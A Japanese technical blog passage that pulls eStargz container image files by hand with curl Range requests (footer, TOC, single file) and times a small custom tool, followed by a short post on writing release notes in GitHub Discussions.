このフッタは少し面白いですが空のgzipになっています。つまり解凍しても本来のレイヤーに影響を与えません。空のgzipくっつけてどうするの?と思うかもしれませんが、gzipの拡張フィールドに情報が含まれています。特に重要なのはTOCへのオフセットです。

仕様書から転載しますがフッタは以下の構造で必ず51バイトになります。

- 10 bytes  gzip header
- 2  bytes  XLEN (length of Extra field) = 26 (4 bytes header + 16 hex digits + len("STARGZ"))
- 2  bytes  Extra: SI1 = 'S', SI2 = 'G'
- 2  bytes  Extra: LEN = 22 (16 hex digits + len("STARGZ"))
- 22 bytes  Extra: subfield = fmt.Sprintf("%016xSTARGZ", offsetOfTOC)
- 5  bytes  flate header: BFINAL = 1(last block), BTYPE = 0(non-compressed block), LEN = 0
- 8  bytes  gzip footer
(End of eStargz)

上の fmt.Sprintf("%016xSTARGZ", offsetOfTOC) の部分が重要です。ちなみにSI1, SI2, LENはeStargzで足されたフィールドらしく、Stargzには存在しません。つまりStargzではフッタのサイズが47バイトになっています。ただ docker.io/stargz/golang:1.12.9-esgz を触ってみたらesgzというタグにも関わらずフッタが47バイトでした。ちゃんと調べてないですが、eStargzも初期は47バイトだったのかなと推測しました。

eStargzの構造の図を引用しておきます。最後にFooterがあってTOCへのオフセットが保存されている様子が分かるかと思います。

f:id:knqyf263:20210615065359p:plain
https://github.com/containerd/stargz-snapshotter/blob/master/docs/stargz-estargz.md より引用

Stargz Snapshotter

containerdでeStargzを利用できるようにするためのプラグインです。

github.com

ここでは特に触れないので詳細は上のドキュメントを見てください。

eStargzまとめ

Stargzをより効率的にしたものがeStargzで、優先的にアクセスされるファイルをprefetchするのが主な特徴となっています。レイアウトなど若干Stargzと異なるところはあるが概ね同じです。

実験

さて導入が長くなりましたが、lazy pullingの仕様が理解できたところでcurlでやってみます。

以下のイメージのlazy pullingを試してみます。

ghcr.io/stargz-containers/alpine:3.10.2-esgz

基本的なdocker pullの流れは以前のブログを参照してください。

knqyf263.hatenablog.com

トークン取得

まずトークンを取得します。

export TOKEN=$(curl "https://ghcr.io/token?scope=repository%3Astargz-containers%2Falpine%3Apull&service=ghcr.io" | jq -r '.token')

インデックス取得

以前はイメージとマニフェストは1対1でしたが、最近は一つのイメージ名でamd64やarm64など複数のプラットフォームに対応することが出来ます。複数プラットフォームに対応している場合は以下のようにmanifestのリストが返ってきます。コンテナランタイム側でプラットフォームに合わせてmanifestを選択します。

curl -s -H "Accept: application/vnd.oci.image.index.v1+json" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/manifests/3.10.2-esgz | jq .
{
  "schemaVersion": 2,
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:237e28761b771d41d0b841bacfe39f4a49d30b1c8dfecc90aef09b68d86ebc99",
      "size": 534,
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    }
  ]
}

今回はlinux/amd64しかありませんが、他のプラットフォームのマニフェストも含めることが出来ます。この時、Acceptヘッダで application/vnd.oci.image.index.v1+json を指定する必要があります。

マニフェスト取得

ではようやくマニフェストを取得します。上で得られたdigestを指定する必要があります。また、この際もAcceptヘッダに気をつけてください。

curl -s -H "Accept: application/vnd.oci.image.manifest.v1+json" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/manifests/sha256:237e28761b771d41d0b841bacfe39f4a49d30b1c8dfecc90aef09b68d86ebc99 | jq .
{
  "schemaVersion": 2,
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "digest": "sha256:619584669c61bff457ede5e1880099801e58ef8c3f02fe1ea4fc81bbb77f32e9",
    "size": 1348
  },
  "layers": [
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "digest": "sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840",
      "size": 2803987,
      "annotations": {
        "containerd.io/snapshot/stargz/toc.digest": "sha256:7c1dc9fef98424e05181ccbfa6784937231221a34545645011f306612b9dcfe5",
        "io.containers.estargz.uncompressed-size": "5935104"
      }
    }
  ]
}

レイヤーIDが取得できました。サイズは2803987になっています。これはフッタの取得時に重要です。ちなみにannotationsにstargz関連の情報もいくつか含まれているようです。

Footer取得

上の処理はeStargz関係ありませんでしたが、ここからようやく固有の操作になります。レイヤーはblobとして保存されているので、blobのAPIを叩きます。

全体のサイズが2803987なので51バイト引いて2803936以降だけをRangeで取得します。レイヤーIDは上の sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840 を使います。

curl -o footer.gz -L -H "Range: bytes=2803936-" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

footer.gzが取得できました。本来であれば2803936バイト取得するところ、51バイトのpullだけで済んでいます。

$ file footer.gz
footer.gz: gzip compressed data, extra field, original size modulo 2^32 0

確かにgzipになっています。中身を見てみます。

$ hexdump -C footer.gz
00000000  1f 8b 08 04 00 00 00 00  00 ff 1a 00 53 47 16 00  |............SG..|
00000010  30 30 30 30 30 30 30 30  30 30 32 61 61 63 33 36  |00000000002aac36|
00000020  53 54 41 52 47 5a 01 00  00 ff ff 00 00 00 00 00  |STARGZ..........|
00000030  00 00 00                                          |...|
00000033

1f 8bgzipのマジックバイトです。STARGZの手前がTOCへのオフセットになっているので、 00000000002aac36 であることが分かります。これは16進数なので10進数に直すと 2796598 です。

ちなみにfooter.gzを解凍すると以下のようにやはり空になっています。

$ gunzip footer.gz
$ du footer
0       footer

TOC取得

TOCのオフセットが分かったのでTOCを取得します。Footerの手前までなので、2796598 - 2803935 がTOCの位置になります。

先程同様にRangeでTOCを取得します。

curl -o toc.tar.gz -L -H "Range: bytes=2796598-2803935" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

中身を確認します。

$ tar tvf toc.tar.gz
----------  0 0      0       89590  1  1  1970 stargz.index.json

確かに stargz.index.json が入っています。では解凍してJSONを確認します。

$ tar xvf toc.tar.gz
x stargz.index.json
$ chmod +r stargz.index.json
$ head -n 21 stargz.index.json
{
        "version": 1,
        "entries": [
                {
                        "name": "bin/",
                        "type": "dir",
                        "modtime": "2019-08-20T10:30:43Z",
                        "mode": 16877,
                        "NumLink": 0
                },
                {
                        "name": "bin/busybox",
                        "type": "reg",
                        "size": 833104,
                        "modtime": "2019-06-12T17:52:45Z",
                        "mode": 33261,
                        "offset": 126,
                        "NumLink": 0,
                        "digest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f",
                        "chunkDigest": "sha256:8b7c559b8cccca0d30d01bc4b5dc944766208a53d18a03aa8afe97252207521f"
                },

確かにTOCEntryが含まれています。

ファイル取得

今回はOSバージョンの特定に必要な /etc/alpine-release を取得してみます。offsetはTOCによれば887659です。実はまだファイル取得時の正しいRangeの指定の仕方が分かってないのですが、今回は次のoffsetの手前まで取得しておきます。つまり今回では次が887788なので887787まで取得します。

{
      "name": "etc/alpine-release",
      "type": "reg",
      "size": 7,
      "modtime": "2019-08-20T10:30:35Z",
      "mode": 33188,
      "offset": 887659,
      "NumLink": 0,
      "digest": "sha256:adfd5666b735e8f90dec03769a84d624675243d1c08f7f6b1f7ad107378b868e",
      "chunkDigest": "sha256:adfd5666b735e8f90dec03769a84d624675243d1c08f7f6b1f7ad107378b868e"
    },
    {
      "name": "etc/apk/",
      "type": "dir",
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 16877,
      "NumLink": 0
    },
    {
      "name": "etc/apk/arch",
      "type": "reg",
      "size": 7,
      "modtime": "2019-08-20T10:30:43Z",
      "mode": 33188,
      "offset": 887788,
      "NumLink": 0,
      "digest": "sha256:aaf631698ae5160ceb04a97681a14887fdcab47cd6e0f163c87485b3b1340b62",
      "chunkDigest": "sha256:aaf631698ae5160ceb04a97681a14887fdcab47cd6e0f163c87485b3b1340b62"
    },

上の説明ではtarのエントリごとにgzipすると言ったのですが、実際には以下のような構造になっています。

f:id:knqyf263:20210615070301p:plain
https://github.com/containerd/stargz-snapshotter/blob/master/docs/stargz-estargz.md より引用

つまりoffsetが指す場所はtarエントリのデータ部分のようです。そのため、gzip解凍したあとのデータはtarのヘッダがないため正しいtarフォーマットになりません。逆に末尾に次のファイルのtarヘッダが含まれています。と思っているのですが、もし自分の理解が間違っていたらすみません。

上の図から分かるように、gzip解凍したあと先頭からsize分取り出せば欲しいファイルのデータになりそうです。最初自分はsizeは次のoffsetまでの長さ、つまりRangeを指定するのに必要な情報かと思ったのですがドキュメントを見ると解凍後のサイズのようです。

  • size uint64

    This OPTIONAL property contains the uncompressed size of the regular file tar entry.

ということでまずはcurlgzipを落とします。

curl -o release.gz -L -H "Range: bytes=887659-887787" -H "Authorization: Bearer $TOKEN" https://ghcr.io/v2/stargz-containers/alpine/blobs/sha256:4ce67ba5aa52932aa5fa5f51c49c8fce87c9a10bfb97786a4a61e30cfb9f2840

これを解凍したあとheadを使ってsize分だけ(今回は7バイト)取り出します。

$ cat release.gz | gzip -d | head -c 7
3.10.2

ということで無事に /etc/alpine-release のファイルのみを落としてくることが出来ました。

実験まとめ

curlでlazy pullingをやってみました。実際にstargz-snapshotのソースコードを読むとRangeが複数の範囲を指定できる場合はなるべく1リクエストにまとめる工夫をしたり、毎回リダイレクトされないような工夫をしていたりするので、内部で上のように動くわけではないですが大枠は合っているかなと思っています。そしてもちろん今回のcurlの検証では行いませんでしたが、eStargzの場合は .prefetch.landmark の前までをprefetchする必要があります。上のAlpineの例では lib/ld-musl-x86_64.so.1bin/busybox がprefetch対象に指定されていました。

裏側がどうなっているのか手動で試して理解すると自分でちょっとしたツールとかも作れるようになるのでより良いかと思います。

余談

応用例

lazy pullingはコンテナ起動までの時間を短縮するためのものですが、実はコンテナの脆弱性スキャンでも有用だと考えています。自分はTrivyというOSSのコンテナ脆弱性スキャンを開発しているのですが、もしeStargzに対応できるとコンテナレジストリにあるイメージの脆弱性スキャンが高速に行えると考えています。というのも脆弱性スキャンで必要なのはOSを特定するためのファイルやインストールされているパッケージ情報を含むファイルだけであって、ほとんどのバイナリやランタイムは不要なためです。更にそれらのファイルはサイズも小さいです。大きいイメージ・レイヤーであっても必要な小さいファイルのみpull出来ればスキャンは高速に終わります。eStargzの実用例として面白いかもなと思ったのでKubeConに出そうと思ったらNorth America 2021のCfP終わってました...次のKubeConか何か別のカンファレンスを見つけて話したいと思います。

自作ライブラリ

Trivyに取り込むためにstargz-snapshotterをライブラリとして利用しようと思ったのですが、ソースコードを読んでいるとファイルシステム周りの処理やキャッシュ関連の処理が多かったです。そしてcontainerdへの依存もあるため依存が膨らむ恐れがありました。

github.com

Stargz SnapshotterのようにFUSEファイルシステムを提供し、遅延でアクセスされたファイルを取得するような仕組みは自分の場合は不要で、単にレジストリからファイルを指定して取得できれば良かったので簡易的なライブラリを作ってみました。キャッシュの仕組みもTrivy側で持っているので不要です。入門二日目で作った簡易的なやつなので最適化は全くされていませんしエッジケースも全然対応できていないのですが、stargz-snapshotterのfs/remoteパッケージを流用しているのでとりあえず最低限それっぽく動きます。

github.com

実際にTrivyに取り込む上ではfilepath.Walkのようにlayer内のファイルをiterateしていくメソッドがstargz-snapshotterに欲しいなと思っているので、同意してもらえるか分かりませんがPRを送ろうかと思います。そしてこのライブラリを育てていって品質が上がったらTrivyに取り込みたいと考えています。もしくはstargz-snapshotterがライブラリとして再利用しやすい形になったら不要になるかも...?

ライブラリのままだとテストがしにくかったのでecraneというCLIツールも入れています。これはstargz-registryの内部でgoogle/go-containerregistry を使っており、その付随CLIツールがcraneという名前なのでそこからパクっています。craneもRange対応してほしいのでPR送るかもしれません。

利用方法はイメージ名とファイルパスを指定するだけです。そうするとイメージ全体をpullせずに指定されたファイルだけ取ってきます。

Usage: ecrane IMAGE_NAME FILE_PATH

ちなみにopaqueファイルの処理など一切せずにレイヤーを上から見てファイルパスが一致したらその内容を表示するという雑実装なので間違っても結果を信頼しないでください。あくまで手元の検証用のテストコマンドです。

計測

せっかくなのでdocker runで大きめのイメージ内のファイルの中身を表示するまでの時間を計測します。今回は ghcr.io/stargz-containers/drupal:8.7.6-esgz の /usr/lib/os-release を取得します。

$ /usr/bin/time docker run --rm -it --entrypoint /bin/sh ghcr.io/stargz-containers/drupal:8.7.6-esgz -c "cat /usr/lib/os-release"
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
86.31 real         0.16 user         0.11 sys

86秒でした。イメージサイズが464MBなので仕方ありません。

同様に自作ツールで /usr/lib/os-release を取得します。

$ /usr/bin/time ./ecrane ghcr.io/stargz-containers/drupal:8.7.6-esgz usr/lib/os-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

        5.09 real         0.36 user         0.11 sys

5秒で同じ結果が得られています。何の最適化もしていないのでもっと速く出来ると思いますが、そこそこの結果です。一発の結果なのでベンチマーク取らないと正しい比較はできませんが、雰囲気掴むには十分かと思います。

まとめ

Stargz/eStargzの仕様を見つつ実際に手でlazy pullingを試してみました。イメージをeStargz形式に変換する必要があるので実用化はまだ大変かなと思いましたが、コンテナレジストリ側が気合を入れて一斉に変換したら一気に進むような気もします。もちろん自分の必要なイメージだけ変換してレジストリにpushし直しても良いですが、何かしら自分で変換用のジョブを回す必要はありそうです。

互換性を壊さないように工夫しつつ高速化するためのアイディアが散りばめられていて面白かったです。

GitHub Discussionsにリリースノートを書くのが良さそうという話

背景

GitHubで何かリリースする場合、GitHub Releasesを使うことが多いかと思います。自分は今まではGitHub Releasesにリリースノートを書いていました。以下はGoReleaserというツールのリリースノートですが、こんな感じです。

github.com

ですが、いつから追加されたのかわかりませんがリリースにGitHub Discussionsのスレッドを紐付ける機能が追加されていました。以下のドキュメントに書いてあります。

docs.github.com

一応上のドキュメントのスクリーンショットも貼っておきます。"Create a discussion for this release"ってやつです。

f:id:knqyf263:20210603161335p:plain

これを使ったら結構良かったので、その辺りについて書いておきます。

設定方法

まず、GitHub DiscussionsのCategoryを作っておく必要があります。最初から用意されているものでもよいのですが、混ざってしまって見にくいので"Release"とか"Announcements"のようなCategoryを作っておくとよいかと思います。

以下のように"Announcements"のCategoryでフィルタするとリリースノート一覧が見られます。

github.com

あとは上のドキュメントどおりですが、リリース作成時にCategoryを選んでdiscussionを作成するだけです。

[Create a discussion for this release] を選択し、[Category] ドロップダウンメニューを選択してリリースディスカッションのカテゴリをクリックします。

すると、GitHub Releasesの画面で各リリースの右下に"Join release discussion"というボタンが表示されます。

f:id:knqyf263:20210603161826p:plain

ここをクリックすると先程のdiscussionページに飛びます。簡単なChangelogはreleaseに書いて詳細はdiscussionに書いておくと良いのかなと思います。

注意点としては、一度releaseを作ってしまうとあとからdiscussionを紐付けようと思っても出来ない点です。とはいえ不便なので将来的には出来るようになるかもしれません。

GoプロジェクトでGoReleaseを使っている場合は、 discussion_category_name を設定してあげると勝手にdiscussionを作ってくれるのでおすすめです。

goreleaser.com

利点

なぜDiscussionのほうが良いと思ったか?という話ですが、まずシンプルにリリースノートの一覧を見られるのが便利だなと思いました。Releasesに詳細なリリースノート書くとスクロールが大変で一覧の視認性が悪いと感じていました。Tagsを開いてReleasesに飛ぶという手もありますが、必ずしもすべてのタグでリリースされているわけでもないしな...ということで困ってました。

github.com

一方、GiHub Discussionsで一覧が見られる以下の画面は個人的には見やすいです。

f:id:knqyf263:20210603162411p:plain

あとはユーザからのリリースノートに対するフィードバックをdiscussion上でそのまま受けられる点です。以下は自分がdiscussionに書いたリリースノートの例です。

github.com

「この機能はまだ含まれてないの?」などのちょっとした質問へも回答できますし、「Great!」「Nice!」とか褒めてもらえるとやる気にも繋がります。リアクションも付けてもらえます。最近はrelease側にも付けられますが。

まとめ

GitHub Discussionsにリリースノートを書くと良いかもしれない